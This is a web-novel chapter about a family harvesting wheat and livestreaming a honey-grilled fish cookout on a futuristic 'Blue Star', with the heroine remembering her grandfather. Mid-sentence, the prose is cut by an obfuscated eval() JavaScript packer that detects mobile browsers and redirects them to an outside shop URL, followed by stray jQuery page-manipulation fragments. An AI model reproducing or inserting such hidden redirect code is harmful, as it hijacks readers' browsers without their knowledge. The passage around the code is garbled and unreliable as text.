麦梵是被窗外的光晃醒的。
她觉得奇怪，星际蓝星和前世到底不一样，时间她半个月就要调上几次，前几天她刚调整过日出日落时间，现在蓝星的日出没这么早。
她披了件外套走出门，看见熊川站在麦田边上，手里拿着一把镰刀，正弯腰割麦。他的动作不快，但很稳，只见他用左手拢住一把麦秆，右手一挥，麦子齐刷刷倒下来，整齐地码在脚边。他已经割了不小一片。
麦梵没出声，靠在门框上看了一会儿。他割麦的方式和她不一样——她是一垄一垄顺着割，他是从地头中间开了一条路，往两边扩，效率竟然高的多，很难想象出来他以前从来没摸过庄稼。
熊川直起腰，看到了她，问，“吵醒你了？”
“没有。”麦梵走过去，“你什么时候起来的？”
“没多久。”
麦梵看了一眼他已经割完的那片地，目测至少半亩。
没多久，说谎也不打草稿。
她蹲下来，捡起一穗麦子搓了搓，麦粒饱满，在掌心里滚了一圈。小时候，姥爷也是这样天不亮就下地，等她睡醒跑到地头，姥爷已经割完一大片了。
那时候她不懂，问姥爷为什么不叫她。姥爷从耳朵后摸下支烟，笑她说：“叫你干啥，你又不割，你只会踩。”她当时气得不行，发誓再也不帮姥爷送饭了。
但第二天到了饭点，还是乖乖听姥姥话拎着饭桶往地里跑。
麦梵站起来，拍了拍手上的麦壳。
“边上的麦子你收了往里退两垄，把路边让出来。”
熊川看了她一眼。“为什么？”
“为了给人走。”
熊川觉得奇怪，看她一眼，这蓝星除了他们几个哪来的人，想了想还是咽了下去，把已经割到路边的麦子往里收了收，让出半米宽的空地。
麦梵知道自己说的话他不懂，也不想解释，其实她不知道怎么跟他说，这不是为了现在，是为了万一有人来。
万一原元长再来，万一其他人也来，万一哪天她需要这条路，就像姥爷教她的：田边的麦子收干净，路边的人好走。割麦的人不差这一垄，走路的人不差这一步。
她当时觉得姥爷太唠叨，现在想起来，又觉得姥爷自有他的道理。
晏星辰从梦乡里被机器人的轰鸣声吵醒，捂着脑袋上的小毯子爬下床。
备用系统情绪价值一般，但做事效率出奇的高，从机器人脑壳里钻出来，指挥着机器人把割下来的麦子捆成一束一束的摞起来。机器人腿上伸缩两下，在地上划出方块区域，两只机械臂利索的捆着麦子，动作比熊川还快。
“妈妈！”晏星辰踩着拖鞋跑出来，头发翘着，睡衣领口歪到肩膀下面，“你在干什么啊？”
“宝贝也醒啦，我们在收麦子。”
“我，我也会，我也要收！”晏星辰举着手。
“先把衣服穿好。”
晏星辰低头看了眼自己歪歪扭扭的睡衣，跑回去换了衣服，又跑回来，手里还拎着那双没穿进去的鞋。
麦梵蹲下来给他穿好鞋，把手套递给他，叮嘱道，“记得不管发生什么都要戴好手套，麦芒扎手。”
晏星辰把手套戴上，太大了，五根手指像五个小口袋，他攥了攥拳头，觉得好玩，咯咯笑了两声。
然后他跑到麦田边上，学着熊川的样子，弯腰，伸手，抓住一把麦秆——没抓住，麦秆从手套的大指缝里滑出去了，他又抓了一次，抓住了，但挥镰刀的力气太小，麦秆只是晃了晃，没断。
晏星辰憋着劲儿又试了一次，还是没断。
他扭头看麦梵，上次麦梵只让他挥了两下，说到底没正儿八经割麦子，最后和冲冲闹着倒是捡了不少，这会儿人又着急，更是割不下来。
“用两只手。”熊川教他。
晏星辰学着他的样子，两只手握住镰刀柄，使劲往后一拉——麦秆断了，他自己也往后一屁股坐在地上。
他愣了一秒，爬起来，拍拍屁股上的土，把那把麦秆举起来，大喊道，“妈妈你看！我割的！”
“看到了，宝宝真棒！”麦梵接过来，放进身后的麦垛里，“继续。”
晏星辰干劲十足，蹲在地头专门捡那些被落下的麦穗，一穗一穗地捡着割，放进自己的小背篓里。他的小背篓容量不大，捡满了就跑回来倒进大筐里，再跑回去继续弄。
来回跑了十几趟，终于跑不动了，蹲在地头喘气，脸上全是汗，鼻尖上蹭着不知道哪儿的土。
“累了就歇会儿。”麦梵说。
“不累。”晏星辰站起来，腿一软，一屁股坐下了。
麦梵没理他，继续割麦。她割了几垄，停下来，弯腰把散落在田埂上的麦穗捡起来。熊川在远处割着麦，不时回头看两眼晏星辰。
晏星辰跑过来，蹲下来帮她捡。
“妈妈，这个不要了吗？”
“当然要啊，落在地里的都要捡起来。”
“为什么呀？”
麦梵顿了一下。她想起小时候，也是收麦子的季节，她跟在地头捡麦穗，捡了几根就嫌累不想捡了。姥爷没说话，自己蹲下来，把散落的麦穗一根一根捡起来，连掉在沟里的都捞出来了。她问姥爷，掉沟里了还捡什么，那点东西也不值什么钱。姥爷说：“庄稼人爱惜粮食，不是因为它值钱。”她那时候没听懂，现在她蹲在地头，一根一根捡麦穗，晏星辰蹲在旁边问她为什么，她发现自己说不出那句话。因为她不是庄稼人，她只是一个记得姥爷说过什么的人。
“因为粮食不能浪费。”麦梵说。
晏星辰点点头，给自己打了打气，继续热火朝天的干活，他没追问，妈妈说的话都是对的。
太阳升高了，晒得人后背发烫。麦梵直起腰，看了一眼时间，该做饭了。她放下镰刀，走回院子，晏星辰跟在后面。
“妈妈做什么？”
“你猜。”
“面条？”
“不是。”
“饼？”
“不是。”
晏星辰想不出来了，拽着麦梵的衣角不放。麦梵没理他，从空间纽里摸出一块腌过的肉，切成薄片。晏星辰看到肉，眼睛亮了。
“肉！”
“嗯。”
“多放点！”
晏星辰可不知道什么能吃不能吃的，这玩意儿可比营养液或者什么合成食物好吃多了，用妈妈的话说，香的嘞！
麦梵把肉下锅，炒出油，香味飘出来。晏星辰踮着脚尖趴在灶台边上看，口水咽了好几回。麦梵又切了几个土豆，下锅一起炒，加水烧开，然后开始和面。
她今天不做面条，做面片，想着，她把面团擀开，切成菱形的小片，下到锅里煮。晏星辰没见过这种吃法，趴在灶台边上看，问：“妈妈妈妈，这个叫什么？”
“面片。”
“好吃吗？”
“你尝尝啊。”
麦梵盛了一碗，吹了吹，递给他。晏星辰接过去，拿筷子夹了一片，塞进嘴里嚼了两下，眼睛亮起来了。
“妈妈！好吃！”
“端过去吃。”
晏星辰端着碗跑到石桌旁，埋头吃。麦梵又盛了两碗，一碗放在石桌上，一碗端到地头。熊川还在割麦，麦梵把碗放在田埂上。
“吃饭。”
熊川直起腰，看了她一眼，走过来，蹲在田埂上端起碗，道了谢后开始吃。他吃得很快，但每一口都嚼得很认真。
麦梵站在旁边，看他吃，想到什么，幽幽提醒道，“这里面我放了野兽肉。”
熊川吃到一半，听见这话停下来，抬头看她，问“那怎么了？”
麦梵没想到他是这个反应，摆摆手说，“没事。”
他低下头，继续吃。
麦梵没再问。她走回院子，给自己盛了一碗，坐在石桌旁吃。晏星辰已经吃完了一碗，把空碗推过来。“妈妈还要。”
“自己盛。”
晏星辰跑进厨房，踮着脚尖够到锅里的勺子，盛了一碗，端回来的时候洒了一点汤在手背上，他嘶了一声，倒是没哭，把碗放好，吹了吹手背，继续吃。
吃完饭，晏星辰打了个哈欠，靠在麦梵腿上，眼睛开始打架。麦梵把他抱起来，放在屋里的床上。他翻了个身，非要抱着河虾瓶子，嘟囔了一句什么，睡着了。
麦梵走出屋，熊川已经在麦田里了。太阳正晒，他脱了外套，只穿着一件深色的短袖，胳膊上的肌肉线条在阳光下很分明。他割麦的动作还是那么稳，不紧不慢，一刀一刀。麦梵拿起自己的镰刀，走到另一垄，开始割。
两个人，一垄一垄地割，谁也不说话。只有镰刀割断麦秆的声音，嚓，嚓，嚓。
割到太阳西斜，麦子还剩最后一小片。晏星辰醒了，跑出来，站在地头看了一会儿，又跑回去把小背篓背上，跑过来捡麦穗。
“妈妈。”他捡起一穗，举到麦梵面前，“这个好大！”
“嗯。”
“这个也好大！”
“嗯。”
“这个——”
“晏星辰。”麦梵直起腰，“你捡就是了，不用每穗都给我看。”
晏星辰扁扁嘴，把麦穗放进背篓里，蹲下来继续捡。这次他不说话了，但每捡一穗都举起来看一眼，自己点点头，再放进去。
麦梵看着他，没忍住笑了。
最后一垄麦子割完，太阳已经快落到山后面了。麦梵直起腰，捶了捶背。熊川在捆最后几捆麦子，机器人在旁边帮忙。晏星辰坐在田埂上，小背篓放在腿边，里面装满了麦穗，他正低头数里面的麦穗有多少个。数到二十几的时候，忘了前面数到哪儿了，又从头开始数。
麦梵走过来，蹲在他面前。“累不累？”
“不累。”晏星辰抬起头，脸上有一道灰，“妈妈，我们明天还收吗？”
“收完了。”
“那我们明天干什么？”
“你想干什么？”
晏星辰想了想。“我想吃鱼。”
麦梵笑了。“行。吃鱼。”
晚上，麦梵把今天收回来的麦子摊在院子里的空地上，让它们晾着。晏星辰蹲在旁边看了一会儿，伸手摸了摸麦粒，回头问麦梵：“这个就是面粉吗？”
“不是。这个叫麦子，磨碎了才是面粉。”
“那怎么磨？”
麦梵看了他一眼。“明天你就知道了。”
晏星辰不满意这个答案，但没追问，跑去厨房门口看麦梵做饭。麦梵从水桶里捞出两条鱼，是昨天在溪里捉的，养在水桶里，还活蹦乱跳的。晏星辰蹲在水桶边看了半天，伸手戳了戳鱼背，鱼一甩尾巴，溅了他一脸水。他抹了一把脸，笑着跑开了。
麦梵把鱼收拾干净，在鱼身上划了几刀，抹上盐和从山上采回来的香料，腌了半个小时。然后她拿出那个蜂巢——昨天熊川取回来的那个，放在厨房案板上。蜂巢已经被熏过了，没有活蜂，只有金黄色的蜂蜜从巢孔里渗出来，在灯光下亮晶晶的。
麦梵把烤架支在院子里的时候，直播间已经开了。
“大家下午好，今天不播上山，今天在院子里烤鱼。”她把光脑调整好角度，让镜头对准烤架和旁边水桶里活蹦乱跳的鱼。“昨天在溪里捉的，养了一天，还活着。”
直播间的人数蹭蹭往上涨。停播那几天掉了一波粉，开播后又慢慢回来了，但在线人数一直没过万。今天一开播，不到十分钟就破了万。麦梵扫了一眼后台数据，没说什么，低头处理鱼。
“主播终于播了！”“等了好几天了！”“崽崽呢崽崽呢我要看崽崽！”“鱼好大！这什么鱼？”“星际没有这种鱼吧？看着像野生品种。”
麦梵把鱼收拾干净，在鱼身上划了几刀，抹上盐和香料。“这个鱼叫什么，我也不知道。山里溪流里捉的，不是养殖的，肉质应该比营养液模拟的口感好很多。”
“比营养液好不是废话吗？”“营养液那叫口感吗？那叫化学刺激。”“主播你上次说的面粉什么时候上架？”“同问面粉！我等了好久了！”
麦梵把腌好的鱼放在一边，转身从厨房里拿出那个蜂巢。
直播间安静了一瞬。
“那是什么？”“看起来像……巢？”“虫族的巢？？？”“主播你别想不开啊！”“？？？？？”
麦梵把蜂巢放在案板上，切了一小块，举到镜头前。“这个叫蜂巢，是蜜蜂的巢。蜜蜂是星际没有的物种，简单来说，这是一种会采集花粉、酿造甜味物质的昆虫。”
“蜜蜂？”“昆虫？？？”“主播你养的？”“野生的。昨天上山遇到的，被蛰了。”麦梵把镜头转向晏星辰——他正蹲在烤架旁边，脸上涂了一层药膏，眼皮上还肿着一小块。他抬头看镜头，眨了眨眼，冲镜头招了招手。
“崽崽被蛰了！！！”“心疼死了！”“宝贝脸上那是药膏吗？看着像面膜哈哈哈哈。”“崽崽：我虽然不是人但你是真的狗”“所以那个蜂巢是抢来的？”
麦梵把镜头转回来，用小刀从蜂巢上刮下一勺蜂蜜，金黄色的，在阳光下亮晶晶的。她把勺子举到镜头前，慢慢倾斜，蜂蜜拉出一条细细的丝，挂在勺沿上，迟迟不断。
直播间炸了。
“卧槽这什么！”“看起来好黏！”“拉丝了拉丝了！”“不是……星际的甜味剂不都是粉末状的吗？液体状的没见过。”“这颜色好好看。”
麦梵把勺子放低，蜂蜜丝断了，落在下面的碗里，堆成一小摊。“这个叫蜂蜜，天然甜味剂，营养价值比你们见过的所有甜味剂都高。具体的等研究所的检测报告出来再说，今天先烤鱼。”
她把蜂蜜刷在鱼身上，鱼的表面已经抹了盐和香料，蜂蜜刷上去，渗透进划开的刀口里，亮晶晶的。晏星辰蹲在旁边，眼睛黏在鱼上，口水咽了好几声。直播间听到了。
“崽崽咽口水的声音好大哈哈哈哈哈”“宝贝你是有多馋”“妈妈你快给孩子吃一口吧”。
麦梵把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583279|204096||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鱼架在烤架上，木炭烧得通红，火苗舔着鱼身。蜂蜜遇到高温，滋滋地冒泡，焦糖的甜香和鱼肉的鲜香混在一起，直播间没有味觉共享，但观众能看到鱼皮在火焰中慢慢变成焦糖色，能看到蜂蜜凝成一层亮晶晶的壳，能看到晏星辰蹲在旁边、脸被烤得红扑扑、眼睛瞪得圆溜溜的样子。
“我饿了我饿了我饿了”“星际晚上九点，我打开营养液，看着这个直播，觉得人生不值得。”“主播你这不是烤鱼，你这是烤我的命。”
麦梵翻了面，鱼皮烤得酥脆，用筷子轻轻一戳，咔的一声。晏星辰的眼睛瞪得更大了，嘴巴微微张着，鼻翼翕动。直播间观众开始刷屏。
“我听到了！那个声音！”“皮是脆的！”“星际的合成食物永远不会发出这种声音。”“救命，我口水滴到光脑屏幕上了。”
麦梵把第一条鱼夹到盘子里。晏星辰伸手去接，麦梵没给他。
“这条不给你。”晏星辰愣了一下，嘴瘪了。直播间：“崽崽委屈！！！”“妈妈你怎么这样！”“主播你没有心！”“给孩子吃一口吧求你了。”
麦梵把盘子举到镜头前。“今天直播间抽三位观众，每人送一条烤鱼。星际包邮。味觉共享打开，可以尝到味道。”
直播间炸了。弹幕速度快到看不清内容，只有一片“我我我我我”“抽我抽我抽我”“主播我爱你”“星际包邮？蓝星发货？你认真的？”“味觉共享能尝到？那不就是我在星际也能吃到？”
麦梵把抽奖链接发出去。“五分钟，三条。自己抢。”
她低头开始处理第二条鱼。晏星辰蹲在旁边，看着那条被端走的鱼，嘴还瘪着。麦梵看了他一眼。“第三条给你。”
晏星辰的嘴不瘪了。
抽奖倒计时结束，中奖名单弹出来。麦梵扫了一眼ID，念了出来。
“恭喜‘兔兔不吃草’、‘深渊在逃小兵’、‘元帅的狗腿子’三位观众。”
“兔兔不吃草”的弹幕瞬间刷屏：“啊啊啊啊啊啊啊我中了！！！我中了！！！我要吃烤鱼了！！！”“兔兔不吃草”是麦梵直播间的老观众了，从第一次直播冷吃兔就开始追，每次直播都蹲，从来没中过奖。
和“一卷牙牙乐”的享受生活派系不同，她是一个住在偏远矿星的姑娘，矿星没有新鲜食物，连营养液都是最便宜的那种，味道寡淡得像喝水。她追麦梵的直播，不是为了学做菜——她做不了，矿星没有食材。她只是喜欢看。看麦梵切菜、看晏星辰捣乱、看那些她永远吃不到的东西在锅里翻滚。
什么野兽肉不能吃的，穷的时候什么都往嘴里塞过，所以她对麦梵直播的任何事物都保持高度接受。
然后她中了。
“兔兔不吃草”的弹幕一条接一条，每一条都带着感叹号。“我要哭了”“我真的要哭了”“我没有味觉共享设备我马上去借！！！”过了几秒又弹出一条，“借到了借到了借到了！！！”
麦梵把第二条鱼烤好，装进保温盒里，交给熊川。熊川接过盒子，出了院门。他没问去哪寄——他比麦梵更清楚星际快递的网点分布。
麦梵开始烤第三条。晏星辰蹲在旁边，这次不催了，但他咽口水的声音比之前更大了。直播间观众听到了。
“崽崽你咽口水的声音我能听一辈子”“宝贝你再忍忍马上就好了”“妈妈你是不是忘了还有一条要给崽崽”。
第三条鱼烤好，麦梵夹到盘子里，放在晏星辰面前。“吹凉了吃。”
晏星辰对着鱼吹了两口气，迫不及待地用筷子戳了一块鱼肉，塞进嘴里。嚼了两下，整个人顿住了。麦梵看着他。“好吃吗？”晏星辰没说话，又戳了一块，塞进嘴里。
直播间观众开始刷屏，说崽崽的反应已经回答了这个问题。麦梵看了一眼弹幕，笑了笑，没说话。
她低下头，继续烤第四条。不是给谁的，就是想烤。烤完放在盘子里，自己夹了一块，慢慢嚼。鱼皮酥脆，鱼肉鲜嫩，蜂蜜的甜和盐的咸在嘴里化开，混着香料的味道。她想起姥爷。姥爷爱吃鱼，但不会做。每次都是姥姥做好了，姥爷坐在院子里，一条鱼能吃一晚上，不是因为吃得慢，是因为他舍不得吃完。
“兔兔不吃草”发了一条弹幕，说她尝到了，说不上来是什么味道，但比营养液好一万倍，说她的牙齿在咬那个酥脆的皮的时候发出了声音，她从来没听见过自己牙齿发出这种声音。她问这就是“脆”吗。
麦梵看着这条弹幕，没回答。“深渊在逃小兵”也发了一条。他说他之前在深渊防线驻守，每天的营养液都是冷的，他以为食物就那个味道。今天尝了烤鱼，他才知道原来食物应该是这个味道的。他说谢谢主播，让我在活着的时候吃到了一口好吃的。
麦梵看着这条弹幕，手指在光脑上停了一下。“元帅的狗腿子”一直没说话。麦梵以为他不在线，正要念下一个中奖者，他发了一条弹幕。
只有一个字。
“……甜。”
麦梵盯着那个字看了几秒。
直播结束。麦梵关掉光脑，靠在椅子上。晏星辰已经吃完了整条鱼，肚子圆滚滚的，趴在桌子上舔手指头。麦梵把最后那条鱼掰了一半，放在熊川盘子里。熊川抬头看她。麦梵没看他，低头给晏星辰擦嘴。
“妈妈。”
“嗯。”
“爸爸吃到过这么好吃的鱼吗？”
麦梵的手顿了一下。“不知道。”
晏星辰转头看熊川。熊川低着头，把盘子里那半条鱼慢慢吃完了。“……没有。”他说。
晏星辰沉默了一会儿。“那他回来的时候，我们给他烤。”
熊川没说话。麦梵也没说话。
晏星辰等了一会儿，没等到回应，自己把结论补上了。“他肯定会说好吃的。”他站起来，抱着河虾瓶子，踩着拖鞋啪嗒啪嗒跑回屋。麦梵坐在院子里，看着熊川把盘子收走。
夜风吹过，桃树的叶子沙沙响。远处，章雨的飞船里亮着一盏小灯。
麦梵站起来，走到厨房门口，回头看了一眼底下的麦田。麦子已经收完了，只剩下齐刷刷的麦茬，在月光下泛着淡淡的光。姥爷说，收完麦子地不能空着，得种点别的，地闲着就懒了。她明天种点什么呢。
厨房里，晏星辰的河虾瓶子放在窗台上，月光照进去，河虾透明的身体在水里轻轻摆动。麦梵看着那只河虾，想起晏星辰说“养大了再说”，没忍住笑了一下。
她转身回屋。熊川的棚子灯还亮着。章雨的飞船那盏小灯也亮着。这个院子，好像比刚来的时候热闹了一点。
她想起姥爷。想起姥爷蹲在地头，一根一根捡麦穗的样子。想起姥爷说，田边的麦子收干净，路边的人好走。想起姥爷说，庄稼人爱惜粮食，不是因为它值钱。她那时候没听懂。现在她坐在院子里，面前是收完的麦田，身后是晏星辰睡着的屋子，旁边是熊川修零件的棚子。她忽然觉得，她好像听懂了一点。
远处，章雨的飞船里，那盏小灯还亮着。